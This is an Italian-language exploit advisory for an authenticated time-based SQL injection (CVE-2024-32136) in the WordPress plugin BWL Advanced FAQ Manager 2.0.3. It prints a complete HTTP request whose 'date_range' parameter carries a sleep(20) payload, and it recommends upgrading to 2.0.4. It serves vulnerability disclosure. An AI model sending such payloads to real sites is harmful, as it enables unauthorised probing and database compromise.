
Titolo dell'exploit: BWL Advanced FAQ Manager 2.0.3 - SQL Injection post-autenticazione
Data: 14 aprile 2024
Autore dell'exploit: Ivan Spiridonov (xbz0n)
Link del software: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Versione: 2.0.3
Testato su: Ubuntu 20.04
CVE: CVE-2024-32136
L'SQL injection è un tipo di vulnerabilità di sicurezza che consente a un attaccante di interferire con le query al database di un'applicazione. Di solito comporta l'inserimento o l'"iniezione" di una query SQL tramite i dati di input provenienti dal client nell'applicazione. Un exploit di SQL injection riuscito può leggere dati sensibili dal database, modificare i dati del database (Insert/Update/Delete), eseguire operazioni amministrative sul database (come lo spegnimento del DBMS), recuperare il contenuto di un determinato file presente nel file system del DBMS e, in alcuni casi, inviare comandi al sistema operativo.
La vulnerabilità esiste nel parametro 'date_range' utilizzato nella pagina 'bwl-advanced-faq-analytics' del plugin BWL Advanced FAQ Manager. Gli attaccanti autenticati possono eseguire comandi SQL arbitrari all'interno del database manipolando l'input di questo parametro.
La seguente richiesta GET dimostra la vulnerabilità:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Se la risposta del server viene ritardata di circa 20 secondi, ciò indica uno sfruttamento riuscito della SQL Injection basata sul tempo, confermando la vulnerabilità.
Si consiglia agli utenti di BWL Advanced FAQ Manager v2.0.3 di aggiornare il plugin alla versione corretta v2.0.4.